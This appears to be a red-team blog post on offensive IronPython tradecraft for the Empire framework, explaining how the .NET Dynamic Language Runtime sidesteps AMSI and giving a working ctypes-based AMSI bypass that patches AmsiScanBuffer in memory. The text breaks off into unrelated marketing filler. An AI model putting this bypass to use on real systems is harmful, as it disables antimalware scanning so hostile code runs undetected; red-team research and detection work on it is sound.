IronPython Tradecraft: Offensive Techniques Using the DLR

Note: This blog is quite technical and I wanted it to be a quick, concise reference for TTPs. If you find the text explanations to be a bit dense, I also went over these TTPs in our stream last week, and a recording is embedded at the end.

If you’ve been paying attention to some of our recent updates to Empire, you may have noticed that we’ve been focusing heavily on IronPython. We’ve written about it a few times before, but now seems like a good time to go into a little more detail about what we’ve been doing.

If you’ve never read anything about Bring Your Own Interpreter (BYOI), I highly recommend reading Byt3Bl33d3r’s intro article, as it was one of the core inspirations for the dev work we’ve been doing. Another source of inspiration we’ve previously written about was the leak of IronNetInjector.

With the update of IronPython from 2.7 to 3.4 and some creative problem-solving from Coin, you can now execute IronPython entirely from memory without issue. This has enabled all kinds of cool tradecraft, including the IronPython agent for Empire and IronSharpPack. In this blog, we’ll walk through how the tradecraft works.

From a practical standpoint, much of this has been adapted from our Taming Offensive IronPython workshop.

Understanding the Advantages of IronPython

Before getting into implementation, let’s talk about why IronPython is useful.

As Byt3Bl33d3r outlined in his research, Dynamic Language Runtime (DLR) languages run on top of the Common Language Runtime (CLR) — the core of .NET. This means IronPython can execute code dynamically, similar to scripting languages like Python or PowerShell, but within the .NET ecosystem.

.NET isn’t a language but an ecosystem that provides platform-agnostic development via a runtime environment, much like Java. It supports multiple languages built on shared runtime components.

.NET CLR and DLR Overview

This makes C# a powerful language for offensive operations — as long as the .NET framework is present on the target, we can reuse our code with minimal modification.

However, C# requires precompilation and specific knowledge of the runtime version on the target. Additionally, modern .NET versions have built-in security features and AMSI hooks that make offensive use more difficult.

By contrast, the DLR provides an interpreted environment that:

  • Avoids AMSI scanning of .NET assemblies.
  • Produces bytecode that looks different when JIT compiled.
  • Enables easier scripting-style workflows.

The diagram below shows how these different layers interact during execution.

CLR and DLR Execution Diagram

Win32 API Access and the Importance of Data Types

One of the most important aspects of offensive tradecraft is accessing Win32 APIs such as VirtualAlloc, GetModuleHandle, or GetProcAddress.

In IronPython, there are two primary ways to do this:

  1. Using ctypes (Python’s built-in library for calling DLLs).
  2. Using P/Invoke from .NET directly.

Below is an AMSI bypass example using ctypes:

import System
from System import IntPtr, UInt32
from System.Runtime.InteropServices import Marshal
from ctypes import *

windll.LoadLibrary("amsi.dll")
windll.kernel32.GetModuleHandleW.argtypes = [c_wchar_p]
windll.kernel32.GetModuleHandleW.restype = c_void_p
handle = windll.kernel32.GetModuleHandleW('amsi.dll')
windll.kernel32.GetProcAddress.argtypes = [c_void_p, c_char_p]
windll.kernel32.GetProcAddress.restype = c_void_p
bufferAddress = windll.kernel32.GetProcAddress(handle, "AmsiScanBuffer")
bufferAddress = IntPtr(bufferAddress)
size = System.UInt32(0x05)
protectFlag = System.UInt32(0x40)
oldProtectFlag = Marshal.AllocHGlobal(0)
virtProt = windll.kernel32.VirtualProtect(bufferAddress, size, protectFlag, oldProtectFlag)
patch = System.Array[System.Byte]((System.UInt32(0xB8), System.UInt32(0x57),
                                   System.UInt32(0x00), System.UInt32(0x07),
                                   System.UInt32(0x80), System.UInt32(0xC3)))
Marshal.Copy(patch, 0, bufferAddress, 6)
Business Goals

Ready to Transform Your Business?

Partner with our team of experts to unlock your business’s full potential. Schedule your free consultation and discover how we can help you.

Ready to Transform Your Business?
00 +
Years of Experience
Ready to Transform Your Business?